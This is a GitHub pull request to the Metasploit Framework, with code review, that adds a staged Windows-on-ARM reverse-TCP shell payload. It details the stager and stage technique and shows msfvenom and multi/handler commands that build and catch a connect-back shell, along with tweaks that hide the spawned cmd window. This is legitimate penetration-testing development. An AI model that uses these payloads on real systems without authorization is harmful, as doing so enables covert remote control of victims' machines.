Skip to content

Add windows/aarch64/shell/reverse_tcp staged payload - #21744

Open
vinicius-batistella wants to merge 3 commits into
rapid7:masterfrom
vinicius-batistella:feature/windows-aarch64-shell-staged-reverse-tcp
Open

Add windows/aarch64/shell/reverse_tcp staged payload#21744
vinicius-batistella wants to merge 3 commits into
rapid7:masterfrom
vinicius-batistella:feature/windows-aarch64-shell-staged-reverse-tcp

Conversation

@vinicius-batistella

Copy link
Copy Markdown
Contributor

Closes (or partially addresses) #20385.

Builds on the merged Windows AArch64 work in #21588 (exe / exe-only
dispatch) and #21589 (stageless windows/aarch64/shell_reverse_tcp).

Summary

Adds the first staged Windows on ARM (AArch64) reverse-TCP command-shell
payload pair:

  • Stager windows/aarch64/reverse_tcp — connects back to
    LHOST:LPORT, reads a 4-byte little-endian length, VirtualAllocs RWX,
    recvs the stage, flushes the instruction cache, and jumps to it with
    the socket handle in x0.
  • Stage windows/aarch64/shell — expects that socket in x0
    (convention sockx0), resolves CreateProcessA, and spawns cmd.exe
    with stdin/stdout/stderr redirected via STARTF_USESTDHANDLES.

Same Pattern B assembly style as the merged stageless payload and
osx/aarch64/shell_reverse_tcp: runtime compile_aarch64 with
MOVZ/MOVK immediates interpolated from the datastore (Offsets cannot
patch AArch64 imm bitfields).

Technique

Stager

  • API resolution — PEB walk → InInitializationOrderModuleList
    match kernel32.dll by name length, then Stephen Fewer's classic
    ROR-13 hash lookup against the Export Address Table.
  • Winsock chain
    LoadLibraryA("Ws2_32.dll")
    WSAStartup(MAKEWORD(2,2))
    WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)
    WSAConnect(s, &sockaddr_in, ...).
  • Stage transportrecv 4-byte LE size → VirtualAlloc(RWX)
    loop recv until full → branch to stage entry with socket in x0.
  • I-cache maintenance — calls kernel32!FlushInstructionCache
    (ROR-13 0x53120980) before the jump. User-space dc cvau / ic ivau
    trap as STATUS_ILLEGAL_INSTRUCTION (0xC000001D) on WoA when
    SCTLR_EL1.UCI is clear; the Win32 API is the portable fix.
  • EXITFUNC dispatcher — used on stager failure paths; hashes
    patched via MOVZ/MOVK the same way as the stageless payload.
    EXITFUNC=none maps to ExitProcess (same rationale as Add windows/aarch64/shell_reverse_tcp payload #21589).

Stage

  • Preserves the socket (mov x22, x0), re-resolves kernel32 /
    CreateProcessA, builds a STARTUPINFOA with
    hStdInput / hStdOutput / hStdError set to the socket, and
    launches "cmd.exe".
  • EXITFUNC dispatcher at the tail (process / thread / none /
    seh), same hash table as the stager.

Length prefix

Stager => { 'RequiresMidstager' => false } so
Msf::Payload::Windows#handle_intermediate_stage sends the standard
4-byte little-endian length before the stage bytes. No custom midstager.

Module options

Name Default Required Description
LHOST yes Listener address (registered via Msf::Handler::ReverseTcp)
LPORT 4444 yes Listener port
EXITFUNC process yes process / thread / none / seh (last is treated as process)

LHOST is validated with Rex::Socket.is_ipv4? before encoding into the
AF_INET sockaddr (IPv6 / hostnames raise ArgumentError). LHOST/LPORT
are encoded into three MOVZ/MOVK immediates inside the stager's
fill_sockaddr path — no offset-based byte patching.

Output size

Piece CachedSize / measured Notes
Stager 716 bytes What msfvenom -f raw emits
Stage 420 bytes Sent by multi/handler after the length
EXE 6656 bytes Via template_aarch64_windows.exe (#21588)

Usage

$ ./msfvenom -p windows/aarch64/shell/reverse_tcp \
             LHOST=192.168.0.164 LPORT=6666 \
             -f exe -o staged.exe
[*] Payload size: 716 bytes
[*] Final size of exe file: 6656 bytes
[*] Saved as: staged.exe

$ ./msfconsole -q -x "use exploit/multi/handler; \
                      set PAYLOAD windows/aarch64/shell/reverse_tcp; \
                      set LHOST 192.168.0.164; set LPORT 6666; run"
[*] Started reverse TCP handler on 192.168.0.164:6666
[*] Sending stage (420 bytes) to 192.168.0.164
[*] Command shell session 1 opened (192.168.0.164:6666 -> 192.168.0.164:xxxxx)

Shell Banner:
Microsoft Windows [Version 10.0.26200.8875]
-----
C:\Users\...\Downloads>

Verification

Tested end-to-end on Windows 11 ARM64 (build 10.0.26200.8875) in a UTM
VM. Staged handler delivered the 420-byte stage and produced an
interactive cmd.exe session (whoami / hostname / ipconfig).
Stageless windows/aarch64/shell_reverse_tcp was re-checked on the same
host as a regression.

  • msfvenom -f raw produces a 716-byte stager
  • msfvenom -f exe produces a runnable PE on Win11 ARM64
  • multi/handler prints Sending stage (420 bytes) and opens a
    shell aarch64/windows session
  • Stage entry preserves socket (mov x22, x0 / f6 03 00 aa)
  • EXITFUNC=process / thread / none all compile (stager + stage)
  • IPv6 / hostname LHOST rejected with /LHOST must be in IPv4 format/
  • Registered in spec/modules/payloads_spec.rb
  • Dedicated stager + stage RSpecs pass
  • tools/dev/msftidy.rb passes
  • rubocop passes on new/changed Ruby files
  • Module loads via use payload/windows/aarch64/shell/reverse_tcp

Notes

Author / License

  • Author: Vinicius Batistella
  • Same MSF_LICENSE as the rest of the framework.

Made with Cursor

Introduce an AArch64 Windows reverse-TCP stager/stage pair so WoA
targets can use multi/handler with a 716-byte stager and 420-byte
cmd.exe stage (sockx0), following the same Pattern B assembly style
as the merged stageless payload.

Co-authored-by: Cursor <cursoragent@cursor.com>

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds the first staged Windows-on-ARM (AArch64) reverse TCP command-shell payload pair to Metasploit Framework, enabling windows/aarch64/shell/reverse_tcp to deliver a small stager that downloads and executes a cmd.exe stage over the same socket.

Changes:

  • Added a new AArch64 Windows reverse TCP stager implementation (Msf::Payload::Windows::ReverseTcp_Aarch64) and its stager module.
  • Added a new AArch64 Windows command-shell stage module that expects the socket handle in x0 (sockx0) and spawns cmd.exe.
  • Added documentation and RSpec coverage for the new staged payload (including cached-size consistency registration).

Impact Analysis: isolated change; no meaningful downstream impact identified from diff. (type "custom")

Reviewed changes

Copilot reviewed 7 out of 7 changed files in this pull request and generated no comments.

Show a summary per file
File Description
spec/modules/payloads/stages/windows/aarch64/shell_spec.rb Adds stage-focused RSpecs (size, prologue instruction, EXITFUNC variability).
spec/modules/payloads/stagers/windows/aarch64/reverse_tcp_spec.rb Adds stager-focused RSpecs (size, LHOST/LPORT variability, IPv4 validation).
spec/modules/payloads_spec.rb Registers the new staged payload in the cached-size consistency suite.
modules/payloads/stages/windows/aarch64/shell.rb New staged AArch64 Windows shell stage (CreateProcessA-based cmd.exe spawn, sockx0).
modules/payloads/stagers/windows/aarch64/reverse_tcp.rb New staged AArch64 Windows reverse_tcp stager module wiring (CachedSize/handler/convention).
lib/msf/core/payload/windows/reverse_tcp_aarch64.rb New AArch64 reverse_tcp stager generator (PEB/EAT hashing, recv-length, VirtualAlloc, FlushInstructionCache).
documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md New user documentation for windows/aarch64/shell/reverse_tcp including scenario.

@bwatters-r7 bwatters-r7 added rn-payload-enhancement release notes for enhanced payloads group-review PRs flagged to get a group review during our weekly module hacking meeting. labels Aug 3, 2026
@bwatters-r7 bwatters-r7 moved this from Ready to In Progress in Metasploit Kanban Aug 3, 2026
end

def compile_aarch64(asm_string)
require 'aarch64/parser'

@bwatters-r7 bwatters-r7 Aug 3, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Question to the group: Should we be tracking this in the Gemfiles?
It is used in both the osx and windows aarch64 payloads.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oooops; it already is.....

# 0x18 LoadLibraryA 0x20 recv 0x28 WSAStartup
# 0x30 WSASocketA 0x38 WSAConnect 0x48 FlushInstructionCache
# 0x50 sockaddr_in 0x70 WSADATA
<<~ASM

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Now that we have this same code in a few locations I think it makes sense to offload it to a mixin/library?
Specifically, I'm thinking at least the ror13, exitfunk, and block API stuff?

@vinicius-batistella vinicius-batistella Aug 4, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey, @bwatters-r7.
Sorry for the delay; I was not sure if the questions were for me.
Anyways, pulled the shared helpers into Msf::Payload::Windows::Aarch64 / Exitfunk_Aarch64 (ror13, compile glue, exitfunk). Wired into the stager, stage, and the stageless shell_reverse_tcp in d691c54.
Additionally, CI on d691c54 is green across all 51 relevant checks. The only red is Meterpreter Acceptance/build / java 8 macos-15-intel; the job failed on a GitHub Actions CreateArtifact upload timeout afterward. Unrelated to these payload changes. Could you kindly re-run just that job?

case value.to_s.downcase
when 'thread'
ror13_hash('ExitThread')
when 'process', '', 'seh'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Now that I'm looking at it again, why do we not do the same seh tactic here as in x86 and x64? Originally I'd I thought there was an architectural reason, but on another reading, I'm not sure that's the case?
Use SetUnhandledExceptionFilter to disable the handlers, then jump to null for a predictable crash? All that should be do-able in aarch64, I think?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added in d691c54. EXITFUNC=seh now follows the x64 tactic: SetUnhandledExceptionFilter(NULL) then br xzr. Validated on Win11 ARM64 — staged sends 416-byte stage with seh (420 with process), inline is 660 bytes, shell works and session closes cleanly on exit.

@bwatters-r7 bwatters-r7 removed the group-review PRs flagged to get a group review during our weekly module hacking meeting. label Aug 4, 2026
Share ror13/compile/exitfunk helpers across the Windows AArch64
payloads, and make EXITFUNC=seh match x64 by clearing the unhandled
exception filter then branching to NULL.

Co-authored-by: Cursor <cursoragent@cursor.com>
@bwatters-r7

Copy link
Copy Markdown
Contributor

@vinicius-batistella everything passing, now, but I probably will not get to this until tomorrow. Thanks so much for the changes; I am thrilled we're slowly adding AARCH64 Windows support!

@vinicius-batistella

vinicius-batistella commented Aug 5, 2026

Copy link
Copy Markdown
Contributor Author

Hey, @bwatters-r7.
No worries, I'm just happy to be able to contribute.
I was thinking about adding a windows/aarch64/meterpreter, but the effort would be enormous; kiwi alone would be a nightmare. It would be fun, but idk. 😓​

str xzr, [x11, #0x60]
mov w0, #0x68
str w0, [x11, #0x00]
mov w0, #0x100

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I noticed that this pops open the cmd window on the remote host. I swapped 0x101 here to try and get the STARTUPINFO struct to tell it to hide, but it still opened for me after this change. I want to see if there's something else we're doing, but I ran out of time today. If you don't get a chance before, I should be able to swing back next week.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in 3b45d47. You also need to set CREATE_NO_WINDOW (0x08000000) on CreateProcessA in order to pop a cmd in hidden mode.
PS: my CI is all broken again.

STARTF_USESHOWWINDOW alone still left a visible cmd/conhost on WoA;
set dwFlags to 0x101 and pass CREATE_NO_WINDOW to CreateProcessA.

Co-authored-by: Cursor <cursoragent@cursor.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-payload-enhancement release notes for enhanced payloads

Projects

Status: In Progress

Development

Successfully merging this pull request may close these issues.

3 participants